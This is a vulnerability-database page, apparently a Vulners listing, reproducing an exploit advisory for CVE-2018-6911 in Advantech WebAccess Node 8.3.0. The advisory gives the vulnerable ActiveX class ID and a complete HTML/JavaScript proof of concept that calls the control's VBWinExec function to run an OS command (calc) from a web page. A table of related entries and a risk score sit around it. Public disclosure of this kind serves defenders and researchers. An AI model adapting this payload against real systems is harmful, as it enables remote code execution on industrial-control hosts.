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Advantech WebAccess Node 8.3.0 DLL Hijacking
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | Advantech WebAccess 8.3.0 - Remote Code Execution Exploit | 13 Feb 201800:00 | – | zdt |
 | CVE-2018-6911 | 13 Feb 201814:00 | – | cve |
 | CVE-2018-6911 | 13 Feb 201814:00 | – | cvelist |
 | Advantech WebAccess 8.3.0 - Remote Code Execution | 13 Feb 201800:00 | – | exploitdb |
 | Advantech WebAccess 8.3.0 - Remote Code Execution | 13 Feb 201800:00 | – | exploitpack |
 | CVE-2018-6911 | 13 Feb 201814:29 | – | nvd |
 | Command injection | 13 Feb 201814:29 | – | prion |
`Vulnerability Title: Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution
Discovered by: Nassim Asrir
Contact: [email protected] / https://www.linkedin.com/in/nassim-asrir-b73a57122/
CVE: CVE-2018-6911
Tested on: IE11 / Win10
Technical Details:
==================
The VBWinExec function in Node\AspVBObj.dll in Advantech WebAccess 8.3.0 allows remote attackers to execute arbitrary OS commands via a single argument.
Vulnerable File: C:\WebAccess\Node\AspVBObj.dll
Vulnerable Function: VBWinExec
Vulnerable Class: Include
Class Include
GUID: {55F52D11-CEA5-4D6C-9912-2C8FA03275CE}
Number of Interfaces: 1
Default Interface: _Include
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
The VBWinExec function take one parameter and the user/attacker will be able to control it to execute OS command.
Function VBWinExec (
ByRef command As String
)
Exploit:
========
<title>Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution</title>
<BODY>
<object id=rce classid="clsid:{55F52D11-CEA5-4D6C-9912-2C8FA03275CE}"></object>
<SCRIPT>
function exploit()
{
rce.VBWinExec("calc")
}
</SCRIPT>
<input language=JavaScript onclick=exploit() type=button value="Exploit-Me"><br>
</body>
</HTML>
`
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12 Feb 2018 00:00Current
9.2High risk
Vulners AI Score9.2
EPSS0.29181